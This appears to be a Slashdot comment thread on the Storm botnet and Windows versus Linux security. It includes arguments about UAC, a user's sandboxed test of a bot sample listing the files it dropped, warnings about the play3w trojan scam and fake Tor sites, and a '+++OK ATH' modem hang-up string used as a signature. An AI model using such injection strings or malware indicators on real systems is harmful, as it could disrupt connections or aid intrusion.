You're the second person to suggest this and its not entirely correct, its to do with Windows having a market share where there are a large number of people who don't know any better hence make better "marks".
The average Linux user is reasonably aware of security.
A thistle is a fat salad for an ass's mouth...
I say it's only a matter of time. The evidence of malfeasance is there.
Are you nuts? Nobody on Slashdot RTFAs.
Just another "DOJ fascist authoritarian totalitarian bootlicker" -- Zeio
and modded yourself informative, I suppose?
First --
...."
hypothesis contrary to fact:
"If Microsoft were not the dominant OS
Start with a false premise and your conclusions are based on a false premise.
Before that, however --
Microsoft is the company that has consistently insisted on adding unsafe features just because they figure the industry gives them a couple of years buffer before the stuff hits the fan.
Fighting logical fallacy with logical fallacy, I'll offer this analogy. If Microsoft were the football team that has been winning the national championships for twenty years and the world championships for ten, yeah they'd have enemies and be the subject of envy and idolism. If everyone were cheating, a lot of the idols would excuse them because everyone cheats.
But what we have here is Microsoft's insisting on using exploding footballs, and more and more of the spectators are realizing they are the ones that get hurt every time Microsoft kicks the ball into the stands.
that bit ya, huh?
I set up an Ubuntu VPS recently because the service provider didn't offer Gentoo. In addition to sshd, the VPS already had Apache and Sendmail installed and running. There were some ports associated with VPS management that were open. I think Samba may have even been installed and running (but I got rid of that). Now that I've done another port scan again, it looks like something is still running on TCP port 53...probably BIND.
With Gentoo, OTOH, an out-of-the-box install doesn't have anything open. OpenSSH is installed, but you have to enable it yourself. Nothing else is installed, so you don't have to worry about holes in Sendmail or BIND getting your new box pwned before you have a chance to replace them with qmail and djbdns. For that matter, if you don't need a mail server (or any other kind of server) at all, you can just not install one.
20 January 2017: the End of an Error.
The Morris worm was in the Fall of 1988.
Fixed for . . . well, maybe nineteen years?
The technical term for someone who puts a *nix box on the net without the latest set of updates, patches, and good planning is "0wn3ed."
Any sufficiently advanced technology is insufficiently documented.
Morris was a worm? I always thought he was a Cat.
On the contrary. This is another article for me to print for the PHB, telling him why I have had some much time over the last month.
It is also a peer bonding thing, like "It burns when I pee." "Hey, it burns when I pee as well!"
Because it was already cracked. By one guy. After cracking HD-DVD. Like 6 months ago... They should try something hard. Like understanding women!
All of you still stupid enough to use Microsoft products raise your hands!
> 2a. Windows is still vulnerable to autorun attacks in CDs and USB keys.
As any Amiga user that ran into the Disk-Validator virus will tell you, autorun and autoplay are nightmares waiting to happen.
Disk-Validator was what, 1986? 20 years ago that the idea of "If a specially marked disk is inserted, run a program without any user confirmation" was demonstrated to be a disaster, a way for malicious programs to clobber computers.
I know of no way to disable autorun and autoplay on Windows systems without disabling AutoInsertNotification (notify the system if a disk is changed), yet that one is wanted.
And yes, auto-play is a problem. My friend has a windows XP system that tries to run the Photo Gallery installer anytime a disk is inserted with pictures or videos, and I don't know how to disable it. It seems to be triggered by autoplay. And if this can trigger program X, then it can be rigged to trigger program Y.
Windows apps need to start installing in user space by default. Installing into the "system" is such a pain in the ass.
I tried taking a closer look at this bot thing, but couldn't find out how it worked.
.. nothing happened. It did some write to a few files,
I set up a test system with a vmware'd winxp, running process monitor on the xp and wireshark on the host, wireshark only showing packets to and from the vmware xp's ip address.
So I snapshot'ed it, ran the exe from the links, and
C:\WINDOWS\spooldr.exe
C:\WINDOWS\system32\spooldr.sys
C:\WINDOWS\system32\drivers\tcpip.sys
which looks scary enough. But apart from that, nothing seem to have happened. Nothing in wireshark, and nothing on the machine.
I rebooted the vmware xp and let it stand for a few hours. Still nothing at all. Only traffic in wireshark was smb announces, and nothing happened at the vmware. So, if this is a bot and/or a spam sender. How does it communicate? How does it send spam? How does it work?
It's The Golden Rule: "He who has the gold makes the rules."
They probably would click on OK, but it is Microsoft that allows that program to run, on linux it doesnt work.
I meant cracking the thing so that any new keys will be useless. From what I understand, the last "crack" wasn't really a crak more like a workaround that could be disabled by the issuance of new keys.
This space available.
Accidentally, how would someone go about adding a Bonzi Buddy-esque piece of software to the repository?
yeah, I noticed a huge spike lastweek, over 300% spam increase (up from one message received to 4). Makes me want to check my mail server logs to see what I haven't received...
"Until Microsoft deploys a fundamentally more secure OS or people simply stop using Windows to any great extent, there is nothing we can do"
/.'er for the UAC prompts. However, the user is only shown a prompt when an application is doing things that people in this thread are saying applications should not be allowed to do. No, UAC is not an elegant solution. But the problem is that an entire ecosystem of software exists that was not written with an eye on security. These apps are doing things that apps should not be doing, often time just to make things easier on the programmer.. Microsoft needs to throw a UAC when this happens. In time, more and more apps will play by the rules and not throw prompts.
Ok, I call Bullshit.
1. Microsoft DID come out with this "more secure" OS. Like it or not, Vista is a major improvement. But it gets SLAMMED by the average
This is a tangent, but still to the point: MSFT is dammed if they do, dammed if they don't.
2. Linux/OSX/Whatever isn't perfect. BY FAR. Right now, the reward is SO GREAT for hacking on windows boxes. You only have to scale a 6 foot fence to gain access to multi-millions of users. In, say, linux, or OSX you have to scale a 9 foot fence to gain access to a fraction of that. Right now, cracking Windows just makes sense for crackers. But you (and others) seem to think that botnets would just go away forever if only Microsoft gets their act together. That's insane. People are getting RICH off botnets. You think they're just going to stop because the game got a bit tougher? No way... As the reward factor of Windows diffuses down to the level of the other mainstream OS's, you'll see they'll get attacked more, too.
3. Microsoft isn't going anywhere. This is the nature of the game, people! So sitting around here talking about "When everyone switches" or whatever is just silly. It's childish. You think you're part of the solution b/c you run an alternative OS? You're not. If you want to be part of the solution, start thinking about how to defeat these people in a way that doesn't involve bashing Windows.
Your approach is a LOT like saying "Terrorism won't be a problem once everyone switches to Christianity."
This is not flamebait. It was a true observation: people should not criticize Vista's UAC if they genuinely don't know anything about it. People who think UAC is overly obtrusive haven't used Vista enough: during the initial install phase, yes, you need to grant access fairly often. But that's no different than on any Linux machine. The problem is that most programs that have no business requiring root access (AIM?) require it for a successful install and sometimes even afterwards, and so Windows users get the impression that they can't do anything unless they're an admin. Vista does a lot of things wrong (it is far too resource-intensive, IMO) but this isn't one of them. Calling someone out who doesn't use Vista and doesn't know much about UAC when they make false statements shouldn't qualify as flamebait.
How do you know it's spam and not a *insert lame hobby* enthusiast sending out newsletters?
You can't block the usual ports because a lot of people do their own email stuff (VERY technical term).
There's a lot of iffy stuff involved and no matter what's done a group of people will be pissed off.
Not a Twitter sockpuppet... but I wish I was.
Actually, I know more than a few new-to-linux people that download random rpms once they know the rpm command. It sucks because they get owned, but then whine to me "you said linux was more secure!"
Are you suggesting that ISPs do layer 4 filtering and layer 6 inspection on all traffic on their network? Are you aware of the absurd amount of resources that would require?
They are hacking websites too!
Nice idea as the second thing to do, but how about making sure that the applications can run as a non-privileged user, even if you have to be privileged to install it? A large amount of my time has been spent hacking file privileges and learning how to do "custom installs" to allow my daughters to run games and other applications, such as Sims and the Encyclopaedia Britannica, even then there is a special ID they have to run certain applications as ;(((
He was a man who didn't know the meaning of the word "fear"; or the meaning of many other words longer than 3 letters
Is that an problem for the or the application? If the application writers don't want to install in user space and work correctly, can you blame microsoft for software that they (it) didn't write? Also, if application stop needed the full system level access to run, these applications could be ported easier. Well maybe anyway. Your 10000% correct application need to stop needing write access to the windows system directories.
Ah, the good old "Apostrophe Catastrophe". They need stringing up, but I can
He was a man who didn't know the meaning of the word "fear"; or the meaning of many other words longer than 3 letters
If Linux had the 80+% market share, would all those users be reasonably aware of security?
Just great! How am I supposed to kick off my anonymous online greeting card company now?! Thanks a lot Storm!
defense you have for spouting thoroughly revisionist history blather?
/. reader except a very few thoroughly bent M$Fanbois would take what you said seriously, and there is no hope of reaching them through reason.
I was there. I know how silly what you said was. No
You would either have to be one of said M$Fanbois or a troll.
Thus, arguing with you is irrational.
But I still have to wonder how you managed to find someone who would mod you up, thus the question.
Modded down eh? I see this is the BEST RESPONSE you are left with?
/., as regards security related threads here, & thus, respected ones) on your ends, from you *NIX users??
LOL!
And, still NO RESULTS that are superior to my own @ 85.185 on a legitimate & noted multiplatform test of security best on best practices analyses on the OS platform it runs on in CIS TOOL (noted by SANS & COMPUTERWORLD, 2 often cited sources here on
ROTFLMAO - predictable, & expected... history here thusfar, with over 40 "penguins" & other *NIX users outright RUNNING from this challenge, doesn't show anyone otherwise, now does it??
APK
P.S.=> Newsflash: "down moderation" on your parts really doesn't stand up too well, now does it, vs. concrete & verifiable results on my end.... vs. your lack of them, period! apk
>Did they end up just using the admin account because of loser applications that require administrative access to install ./flashplayer-installer)
You mean like Adobe Flash Player or Yahoo Instant Messenger? (from adobe's site:
sudo
They especially shouldn't need this on Unix or OS X, but they do.
Actually, blaming the network doesn't help much.? command=view&id=24&printerFriendly=true
In the early days of the internet, there were specifications and best practices for host security.
And there were also stories about key administrators shutting down whole countries until they dealt with 'inappropriate' network behavior:
Unless you have a way to impose social control on user behavior, you need both host security and powerful administrators to impose absolute security:
Read 'Goliath at Bay' from 1996 for a 'powerful user' story http://www.discovery.org/scripts/viewDB/index.php
ISP's are paid by the packet. Spammers make all ISP's money, either by paying them to be hosted, or by causing your bandwidth use to go up, so there's no financial incentive to remove them, permanently.
In fact, your ISP probably loves it if a spammer pushes you over a quota or forces you to buy a bigger pipe.
Only once large corporations put big pressure on their upstreams to go find out where the traffic is coming from and stop it, because they refuse to pay for spam to be delivered over their big pipes... will it ever end.
There has to be a monetary incentive to stop spam. Contact your upstream and send them a bill for your upgrade costs. Tell them they need to be actively stopping the traffic from known spam hosters.
Ludicrous? Yes. If everyone did it? Great stuff would happen. It's ALL about the money, and if spam is costing you money, you need to find a way to make that cost move upstream to the backbones.
Problem is... the backbones make as much money from the spammers as they'd lose to you. Far more, actually. So they won't respond.
+++OK ATH
Windows 95 opens fewer ports by default than later versions. That much is true. However, all 32-bit versions of Windows have port 139 wide open. I have verified this myself. It is conceivable that your ISP blocks this port by default, which would skew your results, especially if you see it in "Stealth" status on grc.com.
There is a version of Windows that opens no ports by default, but it is not Windows 95.... it's Windows for Workgroups 3.11.
This is EXACTLY what needs to be done. This is also the purpose of SE Linux. Usable policies are installed in fedora and probably most other distributions by now. From what I've heard this is the main purpose of UAC also... except that it's easier to click the cancel/allow button in UAC.
We at slashdot are scientists, specialists and kernel hackers. Your FUD will be found out.
You're right. There's no hope we can get Microsoft to make Windows secure enough for the least skilled 1% to use it without losing control of their machine to a botnet. After all, as yesterday's MOTD on slashdot said, "If you make a system simple enough an idiot can use it, only an idiot would want to."
We should just resign ourselves to the fact that there will always be 10-20 million bots under the control of anonymous evildoers because at least 1% of Windows users can't help but execute every program they can find. We should accept our DDOS'ing and our V14gr4 spam until someone comes up with an alternative plan.
Me, I'm liking the idea of an Alternet -- a vpn on IPV6 where the rest of us don't have to play this game and you can get your access suspended for sending spam or malware.
Help stamp out iliturcy.
The domain play3w.com seems to be involved in the hosting of questionable software in the form of a so-called media player that installs trojans onto ones software. A cursory search on the internet reveals that there are many media files floating around the internet, some legal, some obviously not, which are supposedly encoded with a codec used by this player, called w3player or 3wplayer. The media files seem to only display a message directing one to the site download.play3w.com in order to download the software, which, upon installation throws up warning about a trojan being installed. In light of the current storm botnet growing to enormous proportions it is very likey that the site is involved in this in some way, given the wide distribution and use of bittorrent. This play3w scam seems to be widespread enough in fact, that there are other sites on the net that are also seeming to jump in on the act, such as mindcut.net (see 3wplayer link and almost everything on that site, in fact).
There is probably no better way to spread trojans and viruses these days than by way of bittorrent scams.
We sent this notice to slashdot days ago as a story, but it wasn't apparently interesting enough to post then...
r ifyingSignatures
====
The Tor Project, a US non-profit organisation producing Internet
privacy software, is issuing an urgent warning about a spam email
being circulated as a fake promotion for their software.
The real Tor software provides privacy on the Internet to journalists,
bloggers and human rights activists all over the world. The spam email
promotes the virtues of the software, but then directs people to a
series of fake websites that contain malicious code that will attempt
to take over visiting machines, and the downloaded software is fake
and equally dangerous to run.
The real website is hosted at http://tor.eff.org/ and the Tor
software can be downloaded from there. Users are able to check that
they have received the official version by following the instructions
at: http://wiki.noreply.org/noreply/TheOnionRouter/Ve
Shava Nerad, Development Director for the Tor Project said, "I am
disgusted that criminals who want to recruit more machines for their
illegal activities should trade on our reputation for providing
privacy on the Internet. Fortunately we already have systems in place
so that people can verify that they are downloading the official
software. But this is a distraction from our work that we could do
without."
====
This attack does not, as reported elsewhere, download a trojaned version of Tor *or* use our network. All it (ab)uses is our reputation.
Shava Nerad
Development Director, The Tor Project
Vista is not getting slammed just because of the UAC nonsense (which, btw, is solved pretty well in OSX, which you might know if you had actually TRIED any alternative instead of doing the standard hurt feelings microsoftie routine that is frankly, getting fucking boring). Vista was slammed because it is a satanic resource hog, and I say that as someone who compared them side by side on the same Intel Mac machine. It was slammed because of the shoddy QA which led to network performance issues when playing sound (for god's sake, if that wasn't just a damn poor excuse for a bad coding, then I don't know what is). It got slammed for playing havoc with legacy software. It got slammed for refusing to play non certified HD content.
And last, but not least, BY FAR, is the fact that Microsoft uses Vista, and enforced Vista compatibility, and blatantly corrupt practices such as attempting to buy ISO acceptance in the OOXML debacle.
I don't care about the fact that it is Microsoft, but I am sick and tired of wankers who use or code for Windows here on slashdot crying like little babies every time their momma MS gets taken to task for overt bad practices.
Fuck off.
If/when they do that, then the bad guys will just run their malware from the user's account. You don't have to be root/admin to send spam. Or they will include a few privilege escalation exploits in their package. Or both.
There are good reasons for many users not to run as root, but there are problems that not running as root won't cure, and I'm pretty sure that this sort of thing is one of them.
The article mentions that the Q4Rollup exploit is used. A quick Google didn't produce a complete inventory of what is in Q4Rollup, but it wouldn't suprise me that it already includes some Windows privilege escalation stuff along with the keyloggers, spyware and rootkits. My guess is that in a few years, these malware packages will include some Mac/Linux exploits just to spread the joy to the growing number of non-Microsoft desktop users.
***Most Linux users seem to understand that it is unwise to surf while logged in as root, but at the same time they setup the Windows systems at their friends homes to do so, because "it would be too much of a hassle to use separate accounts for admin and working".***
I don't know about Vista, but I do know that in W2K setting up applications in a user account was a somewhere between a wierd and a total nightmare. Very much a matter of install, find out where the damn code went, tinker until it works. I decided right then and there that I'd had enough. I kept my own machines on Windows 9. I started learning Linux. And I ran the one XP machine I was occasionally forced by circumstance to use as admin because I just didn't have the time to fix installs so they worked from a user account. I assume that things are better now, but I don't care. For the most part, I don't do NT based Windows.
Thankfully, the Linux desktop is now pretty much ready for prime time.
You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
wait, you can't run programs that do things with the users' permission on linux? How odd.
so if I get trusted software version 1.(n+1) and have to install it as admin - I do this monthly by the way - and the program asks me to elevate its privileges so it can install (which it does) I should get a bitch slap for saying yes? Why should windows have to tell if I'm being an idiot or not?